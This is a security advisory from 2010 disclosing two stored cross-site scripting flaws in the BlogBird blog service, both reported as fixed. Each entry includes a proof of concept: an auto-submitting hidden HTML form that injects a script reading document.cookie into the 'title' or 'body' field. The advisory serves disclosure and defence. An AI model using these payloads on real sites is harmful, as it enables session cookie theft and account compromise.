BlogBird Cross Site Scripting

`==========================================  
Vulnerability ID: HTB22646  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird.html  
Product: BlogBird  
Vendor: BlogBird ( http://www.blogbird.nl/ )   
Vulnerable Version: Current actual version on http://www.blogbird.nl/  
Vendor Notification: 13 October 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://www.blogbird.nl/settings/save" method="post" name="main">  
<input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="description" value="">  
<input type="hidden" name="keywords" value="">  
<input type="hidden" name="language" value="dutch">  
<input type="hidden" name="date_format" value="">  
<input type="hidden" name="per_page" value="0">  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
  
  
==========================================  
Vulnerability ID: HTB22647  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird_1.html  
Product: BlogBird  
Vendor: BlogBird ( http://www.blogbird.nl/ )   
Vulnerable Version: Current actual version on http://www.blogbird.nl/  
Vendor Notification: 13 October 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://www.blogbird.nl/elements/save/2648" method="post" name="main">  
<input type="hidden" name="files_id" value="123">  
<input type="hidden" name="type" value="posts">  
<input type="hidden" name="column" value="col1">  
<input type="hidden" name="title" value="post title">  
<input type="hidden" name="element" value="post">  
<input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="extended" value="">  
<input type="hidden" name="publish" value="1">  
<input type="hidden" name="page" value="home">  
<input type="hidden" name="author" value="author">  
<input type="hidden" name="tags" value="">  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
`